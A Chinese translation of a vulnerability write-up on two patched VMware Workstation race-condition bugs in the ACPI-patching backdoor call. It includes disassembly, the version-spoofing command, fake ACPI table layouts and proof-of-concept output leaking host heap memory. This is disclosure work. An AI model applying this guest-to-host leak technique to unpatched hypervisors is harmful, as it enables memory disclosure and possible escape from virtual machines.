​详述两个VMWare Workstation TOCTOU漏洞
2021-05-22 11:30:00 Author: www.4hou.com(查看原文) 阅读量:188 收藏

VMware Workstation(中文名“威睿工作站”)是一款功能强大的桌面虚拟计算机软件,提供用户可在单一的桌面上同时运行不同的操作系统,和进行开发、测试 、部署新的应用程序的最佳解决方案。VMware Workstation可在一部实体机器上模拟完整的网络环境,以及可便于携带的虚拟机器,其更好的灵活性与先进的技术胜过了市面上其他的虚拟计算机软件。对于企业的 IT开发人员和系统管理员而言, VMware在虚拟网路,实时快照,拖曳共享文件夹,支持 PXE 等方面的特点使它成为必不可少的工具。time-of-check-to-time-of-use(TOCTTOU)翻译成中文就是配合软连接的漏洞,其本质就是检查的时机和状态,同使用无法完全一致。

10月20日,VMware发布了一个安全补丁,解决了VMware ESXi,Workstation,Fusion和NSX-T中的六个漏洞。这些漏洞中有两个属于(TOCTOU)竞态条件。既然补丁已经发布了,我想详细说明这些TOCTOU漏洞及其对VMware系统的影响。

VMware Workstation使用改良的PhoenixBIOS 4.0 Release 6对旧版BIOS进行模拟,在分析BIOS.440.ROM映像期间观察到的修改之一是使用VMware后门。在这种情况下,“后门”没有任何恶意的暗示。相反,“后门”是指虚拟访客可以通过其与管理程序进行通信的合法通道。在这种情况下,后门是通过模拟I / O端口实现的。访客通过执行以下指令通过后门发送消息:

BIOS_F:358B backdoor        proc near                    
BIOS_F:358B                 mov     dx, 5658h     
BIOS_F:358E                 mov     eax, 564D5868h     
BIOS_F:3594                 in      eax, dx     
BIOS_F:3596                 retn     
BIOS_F:3596 backdoor        endp

通过交叉引用后门调用以及来自open-vm-tools的定义,可以识别出在ROM映像中使用了以下命令集:

BDOOR_CMD_GETMEMSIZE    
BDOOR_CMD_GETMHZ    
BDOOR_CMD_ISACPIDISABLED    
BDOOR_CMD_PATCH_ACPI_TABLES    
BDOOR_CMD_GETUUID    
BDOOR_CMD_GETDISKGEO    
BDOOR_CMD_OSNOTFOUND    
BDOOR_CMD_APMFUNCTION

这些命令中的每一个都引用了一个后门函数,该函数在主机上实现,可以通过将适当的值发送到上面所示的模拟端口来从访客机调用该函数。

BDOOR_CMD_PATCH_ACPI_TABLES命令是最值得分析的命令,因为它从访客内存中解析ACPI表。下面的分析是基于VMware Workstation for Linux 15.5.6版本。

实现命令BDOOR_CMD_PATCH_ACPI_TABLES的后门函数首先检查访客机中安装的VMware Tools版本和进行调用的访客机处理器的当前特权级别(CPL)。

.text:00000000001D9AF0 BackdoorPatchACPITables proc near            
.text:00000000001D9AF0     
.text:00000000001D9B14                 call    Get_VMTools_Version     
.text:00000000001D9B19                 test    eax, eax        ; check if vmware tools installed     
.text:00000000001D9B1B                 jnz     short vmtools_available     
.text:00000000001D9B50 vmtools_available:                           
.text:00000000001D9B50                 call    Get_VMTools_Version     
.text:00000000001D9B55                 cmp     eax, 17FFh      ; check if vmware tools version < 6.0.0     
.text:00000000001D9B5A                 ja      short return     
.text:00000000001D9B5C                 call    Check_CPL0      ; check if invoked at CPL 0     
.text:00000000001D9B61                 test    al, al     
.text:00000000001D9B63                 jz      short return

Get_VMTools_Version函数以编码整数形式返回VMware Tools版本,该版本在open-vm-tools中定义如下:

   #define TOOLS_VERSION_UINT(MJR, MNR, BASE) (((MJR) << 10) + ((MNR) << 5) + (BASE))

仅当访客报告的VMware Tools版本低于6.0.0时,BDOOR_CMD_PATCH_ACPI_TABLES命令才可用。另外,还要进行检查以确保从CPL 0(也称为环0)调用了该命令,这是访客系统中的最高特权级别。这可能是为了将此后门命令的使用限制为访客引导代码。一旦完成验证,就在16字节边界上扫描从0xE0000到0xFFFFF的访客BIOS高内存区域,以查找签名“RSD PTR”,以找到根系统描述指针(RSDP)结构。

.text:00000000001D9B73                 mov     r12d, 0E0000h     
.text:00000000001D9B79                 lea     rbp, [r13+24h]     
.text:00000000001D9B7D                 nop     dword ptr [rax]     
.text:00000000001D9B80     
.text:00000000001D9B80 loc_1D9B80:                                  
.text:00000000001D9B80                 mov     edx, 24h     
.text:00000000001D9B85                 mov     rsi, r13     
.text:00000000001D9B88                 mov     rdi, r12     
.text:00000000001D9B8B                 mov     r8d, 1     
.text:00000000001D9B91                 mov     ecx, 40h     
.text:00000000001D9B96                 call    Read_GuestMem     
.text:00000000001D9B9B                 mov     edx, 8          ; n     
.text:00000000001D9BA0                 mov     rdi, r13        ; s1     
.text:00000000001D9BA3                 lea     rsi, aRsdPtr    ; "RSD PTR "     
.text:00000000001D9BAA                 call    _memcmp     
.text:00000000001D9BAF                 test    eax, eax

此后,还将分析其余的ACPI数据结构以找到“差异系统描述表”(DSDT)。

text:00000000001D9BE9                 lea     rsi, aRsdt      ; "RSDT"     
text:00000000001D9BF0                 mov     rcx, rbp     
text:00000000001D9BF3                 call    ValidateAndGetACPITable     
text:00000000001D9C24                 lea     rsi, aFacp      ; "FACP"     
text:00000000001D9C2B                 call    ValidateAndGetACPITable     
text:00000000001D9C30                 test    al, al     
text:00000000001D9C63                 lea     rsi, aDsdt      ; "DSDT"     
text:00000000001D9C6A                 call    ValidateAndGetACPITable     
text:00000000001D9C6F                 test    al, al

一旦找到了DSDT,后门函数就会通过查找_S1并将其替换为FOO来补丁出与S1休眠状态相关的AML代码。

.text:00000000001D9CCA loc_1D9CCA:                                  
.text:00000000001D9CCA          cmp     [rsp+0D8h+var_D3], 5Fh ; '_'     
.text:00000000001D9CCF          jnz     short continue     
.text:00000000001D9CD1          cmp     [rsp+0D8h+var_D3+1], 53h ; 'S'     
.text:00000000001D9CD6          jnz     short continue     
.text:00000000001D9CD8          cmp     [rsp+0D8h+var_D3+2], 31h ; '1'     
.text:00000000001D9CDD          jnz     short continue     
.text:00000000001D9CDF          sub     eax, 1     
.text:00000000001D9CE2          jnz     loc_1D9E69     
.text:00000000001D9CE8          add     r12, [rsp+0D8h+var_B8]     
.text:00000000001D9CED          mov     word ptr [r12], 'OF'     
.text:00000000001D9CF4          mov     byte ptr [r12+2], 4Fh ; 'O'

为了对此进行测试,我们需要在向主机报告低于6.0.0的VMware Tools版本之后转储DSDT表并重新启动访客机。通过open-vm-tools可以理解,“tools.set.version”是用于设置此信息的GuestRPC命令。

$ sudo cat /sys/firmware/acpi/tables/DSDT > DSDT    
$ iasl -d DSDT    
Intel ACPI Component Architecture    
ASL+ Optimizing Compiler/Disassembler version 20180105    
Copyright (c) 2000 - 2018 Intel Corporation    
Input file DSDT, Length 0x2148B (136331) bytes    
ACPI: DSDT 0x0000000000000000 02148B (v01 PTLTD  Custom   06040000 MSFT 03000001)    
Pass 1 parse of [DSDT]    
Pass 2 parse of [DSDT]    
Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions)    
Parsing completed    
Disassembly completed    
ASL Output:    DSDT.dsl - 1296923 bytes    
$ vmware-rpctool "tools.set.version 4096"    
$ reboot

重新启动后,我们再次转储DSDT表并区别ASL代码。

* Original Table Header:    
*     Signature        "DSDT"    
*     Length           0x0002148B (136331)    
*     Revision         0x01 **** 32-bit table (V1), no 64-bit math support    
-  *     Checksum         0x9E     
+ *     Checksum         0x9D     
*     OEM ID           "PTLTD "    
*     OEM Table ID     "Custom  "    
*     OEM Revision     0x06040000 (100925440)    
@@ -2524,7 +2524,7 @@     
0x05,    
0x05    
})    
-    Name (_S1, Package (0x02)  // _S1_: S1 System State     
+    Name (FOO, Package (0x02)     
{    
0x04,    
0x04

此时,S1休眠状态已经被修补,表校验和也相应更新了。

漏洞介绍

在分析过程中,我发现了两个不同的TOCTOU漏洞。一种是受受限的越界(OOB)写操作,另一种是可能导致信息泄露的OOB读操作。

DSDT表包含一个ACPI标头,后跟AML字节代码。 ACPI标头如下:

struct acpi_table_header {    
char signature[ACPI_NAMESEG_SIZE];         /* ASCII table signature */     
u32 length;                                /* Length of table in bytes, including this header */     
u8 revision;                               /* ACPI Specification minor version number */     
u8 checksum;                               /* To make sum of entire table == 0 */     
char oem_id[ACPI_OEM_ID_SIZE];             /* ASCII OEM identification */     
char oem_table_id[ACPI_OEM_TABLE_ID_SIZE]; /* ASCII OEM table identification */     
u32 oem_revision;                          /* OEM revision number */     
char asl_compiler_id[ACPI_NAMESEG_SIZE];   /* ASCII ASL compiler vendor ID */     
u32 asl_compiler_revision;                 /* ASL compiler version */     
};

标头中最有趣的字段是长度和校验和。首先在称为0x01D9C6A的ValidateAndGetACPITable函数中验证表的长度和校验和:

.text:00000000001D9910 ValidateAndGetACPITable proc near .text:00000000001D991B mov edx, 4 ; length to read .text:00000000001D9920 push r13 .text:00000000001D9922 push r12 .text:00000000001D9924 mov r12d, edi .text:00000000001D9927 push rbp .text:00000000001D9928 lea rdi, [r12+4] ; physical address of table + 4, this points to the length field in ACPI header . . . .text:00000000001D994D lea rsi, [rsp+68h+table_size] ; buffer for writing the content .text:00000000001D9952 call ReadGuestPhyAddr .text:00000000001D9957 mov r8d, [rsp+68h+table_size] .text:00000000001D995C lea eax, [r8-1] .text:00000000001D9960 cmp eax, 0FFFFFFh .text:00000000001D9965 jbe short map_guestmem . . . .text:00000000001D99B8 map_guestmem: .text:00000000001D99B8 cmp r14b, 1 .text:00000000001D99BC mov esi, r8d ; length to read from guest .text:00000000001D99BF mov rdi, r12 ; physical address of ACPI table . . . .text:00000000001D99D2 call MapGuestPhyAddr .text:00000000001D99D7 cmp dword ptr [rbx+0Ch], 1 .text:00000000001D99DB mov r12d, [rsp+68h+table_size] . . . .text:00000000001D9A10 cmp r12d, 35 ; check if length is at least ACPI table header size .text:00000000001D9A14 jbe invalid_size .text:00000000001D9A1A mov eax, dword ptr [rsp+68h+acpi_table.signature] .text:00000000001D9A1E cmp [rbp+0], eax ; check table signature . . . .text:00000000001D9A70 calc_checksum: .text:00000000001D9A70 mov rax, [rbx+10h] .text:00000000001D9A74 movzx eax, byte ptr [rax+rbp] ; read a byte from guest ACPI table .text:00000000001D9A78 .text:00000000001D9A78 loc_1D9A78: .text:00000000001D9A78 add rbp, 1 .text:00000000001D9A7C add r12d, eax .text:00000000001D9A7F cmp r14d, ebp ; loop until table size .text:00000000001D9A82 jbe short loc_1D9AD0 .text:00000000001D9A84 .text:00000000001D9A84 loc_1D9A84: .text:00000000001D9A84 cmp dword ptr [rbx+0Ch], 1 .text:00000000001D9A88 jz short calc_checksum

总之,ValidateAndGetACPITable首先从访客内存中读取ACPI表大小。然后,使用该大小值,它将整个表从访客物理内存映射到主机内存。然后,它对映射内存中的字节求和以计算ACPI校验和以验证表。

CVE-2020-3982 / ZDI-20-1268

验证表后,代码再次从访客存储器中读取ACPI表长度(这次是通过映射),并在DSDT AML代码中搜索_S1。

.text:00000000001D9C6A                 call    ValidateAndGetACPITable ; DSDT table validated here .text:00000000001D9C6F                 test    al, al .text:00000000001D9C71                 jz      return .text:00000000001D9C77                 mov     eax, [rsp+0D8h+var_BC] .text:00000000001D9C7B                 lea     r15, [rsp+0D8h+var_CC] .text:00000000001D9C80                 mov     r13d, 24h ; '$' .text:00000000001D9C86                 lea     r14, [rsp+0D8h+var_D3] .text:00000000001D9C8B                 jmp     short loc_1D9C91 .text:00000000001D9C8D .text:00000000001D9C8D Patch_S1_Sleep_State:                    .text:00000000001D9C8D                                          .text:00000000001D9C8D                 add     r13d, 1 .text:00000000001D9C91 .text:00000000001D9C91 loc_1D9C91:                              .text:00000000001D9C91                 cmp     eax, 1 .text:00000000001D9C94                 jnz     loc_1D9D91 .text:00000000001D9C9A                 mov     rax, [rsp+0D8h+dsdt] .text:00000000001D9C9F                 mov     esi, [rax+acpi_table_header.length] ; DSDT table fetched from guest after validation

访客操作系统可以在两次读取之间更改表大小值,从而导致一个受限的OOB写入原语:找到_S1并将其替换为FOO。

CVE-2020-3981 / ZDI-20-1267

修补了S1睡眠对象后,便需要更新标头中的校验和。为了准备计算新的校验和,代码再次从访客存储器中检索表的长度:

.text:00000000001D9CCA                 cmp     [rsp+0D8h+var_D3], 5Fh ; '_' .text:00000000001D9CCF                 jnz     short Patch_S1_Sleep_State .text:00000000001D9CD1                 cmp     [rsp+0D8h+var_D3+1], 53h ; 'S' .text:00000000001D9CD6                 jnz     short Patch_S1_Sleep_State .text:00000000001D9CD8                 cmp     [rsp+0D8h+var_D3+2], 31h ; '1' .text:00000000001D9CDD                 jnz     short Patch_S1_Sleep_State .text:00000000001D9CDF                 sub     eax, 1 .text:00000000001D9CE2                 jnz     loc_1D9E69 .text:00000000001D9CE8                 add     r12, [rsp+0D8h+dsdt] .text:00000000001D9CED                 mov     word ptr [r12], 'OF' .text:00000000001D9CF4                 mov     byte ptr [r12+2], 4Fh ; 'O' .text:00000000001D9CFA .text:00000000001D9CFA calc_checksum_after_patch:               .text:00000000001D9CFA                 cmp     [rsp+0D8h+var_BC], 1 .text:00000000001D9CFF                 jnz     loc_1D9E3C .text:00000000001D9D05                 mov     rax, [rsp+0D8h+dsdt] .text:00000000001D9D0A                 mov     r13d, [rax+acpi_table_header.length] ; length fetched again from guest memory

如果访客虚拟机在此读取之前增加了长度字段的值,则结果将是校验和计算期间的越界读取。

概念验证

虽然这个后门函数意味着在执行受信任的BIOS代码期间只调用一次,但它在启动后不会被禁用,即使是访客操作系统也可以继续访问它。因为BIOS内存区域是可写的,所以访客可以在调用后门之前在地址0xE0000处插入一个假的RSDP结构。由于RSDT物理地址是在伪造的RSDP结构中设置的,因此整个ACPI解析都可以被劫持:

struct acpi_table_rsdp {    
char signature[8];         /* ACPI signature, contains "RSD PTR " */     
u8 checksum;               /* ACPI 1.0 checksum */     
		/* ... snip ... */    
u32 rsdt_physical_address; /* 32-bit physical address of the RSDT */     
		/* ... snip ... */    
};

Picture1.png

劫持ACPI解析

攻击者需要在Guest RAM的末尾建立DSDT表,以便任何OOB访问都将最终在与映射的访客虚拟机内存区域相邻的主机内存中。尽管OOB写入受到严格限制,但在ACPI校验和计算期间读取的OOB可用于泄漏访客存储区域之外的任意主机堆存储器内容。

ACPI表校验和是一个值,使得表的所有字节之和为0(mod 256)。考虑到这一点,信息泄漏策略应该是一次泄漏一个字节。攻击者可能会设置DSDT ACPI表头,以使访客可以访问length和checksum字段。 AML代码占据访客存储器区域的末端,该区域位于主机堆区域的边界,访客无法访问该区域。然后,他们可以使用竞争条件触发1字节OOB读取,并检查校验和值是否已更改。如果是,则基于先前的校验和值和更新的校验和值,他们可以计算泄漏的字节。如果经过一定次数的尝试后未观察到校验和的变化,则假定泄漏的字节为0。然后,攻击者可以触发2字节的OOB读取以泄漏随后的字节,依此类推。以下是概念证明会证明这一点:

$ sudo insmod backdoor.ko    
$ sudo ./poc    
poc: [+] Setting open-vm-tools version to 4.0.0 using tools.set.version    
poc: [+] Overwriting BIOS memory mapped @ 0x7fdd12fd5000    
poc: [+] Trigerring BDOOR_CMD_GETMEMSIZE to get RAM size...    
poc: [+] VM high memory address : 0x80000000    
poc: [+] Fake Root System Description Pointer @ 0xE0000    
RSD  @ 0x00000000000E0000    
0000: 52 53 44 20 50 54 52 20 73 00 00 00 00 00 00 00  RSD PTR s.......    
0010: 00 60 C5 49                                      .`.I    
poc: [+] Fake Root System Description Table @ 0x49C56000    
RSDT @ 0x0000000049C56000    
0000: 52 53 44 54 28 00 00 00 00 05 00 00 00 00 00 00  RSDT(...........    
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0020: 00 00 00 00 28 60 C5 49                          ....(`.I    
poc: [+] Fake Fixed ACPI Description Table @ 0x49C56028    
FACP @ 0x0000000049C56028    
0000: 46 41 43 50 14 01 00 00 00 7C 00 00 00 00 00 00  FACP.....|......    
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0020: 00 00 00 00 00 00 00 00 D8 FF FF 7F 00 00 00 00  ................    
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0110: 00 00 00 00                                      ....    
poc: [+] Fake Differentiated System Description Table @ 0x7FFFFFD8    
DSDT @ 0x000000007FFFFFD8    
0000: 44 53 44 54 28 00 00 00 00 C6 00 00 00 00 00 00  DSDT(...........    
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................    
0020: 00 00 00 00 5F 53 31 00                          ...._S1.    
poc: [+] Starting thread to change DSDT length during race...    
poc: [+] Triggering BDOOR_CMD_PATCH_ACPI_TABLES from CPL 0...    
poc: [+] Leaking checksum for 8 bytes adjacent to guest memory mapping...    
........................    
A5 A5 A5 75 C7 48 48 48    
poc: [+] Leaked host memory address : 0x7fae30000020

这是具有2GB访客内存的vmware-vmx进程的主机堆状态:

gdb-peda$ vmmap    
...    
0x00007fadb0000000 0x00007fae30000000 rw-s      /vmem (deleted)    
0x00007fae30000000 0x00007fae309ea000 rw-p      mapped    
0x00007fae309ea000 0x00007fae34000000 ---p      mapped    
...    
gdb-peda$ x/10gx 0x00007fae30000000    
0x7fae30000000: 0x00007fae30000020      0x0000000000000000    
0x7fae30000010: 0x00000000009ea000      0x00000000009ea000    
0x7fae30000020: 0x0000000200000000      0x0000000000000001    
0x7fae30000030: 0x00007fae30555b30      0x0000000000000000    
0x7fae30000040: 0x00007fae30263860      0x00007fae30278e40

总结

VMware通过删除旨在禁用ACPI S1睡眠状态的旧版后门调用,解决了Workstation 16.0中的漏洞。尽管VMware将OOB写入归类为“中等”,但从理论上讲,可以在虚拟机管理程序的环境中利用CVE-2020-3982提升权限并执行代码。但是,由于OOB写入操作受到严格限制,因此更有可能的结果是虚拟机的vmx进程崩溃或虚拟机管理程序的内存堆损坏。

本文翻译自:https://www.zerodayinitiative.com/blog/2020/10/22/detailing-two-vmware-workstation-toctou-vulnerabilities如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/o7Lk
如有侵权请联系:admin#unsafe.sh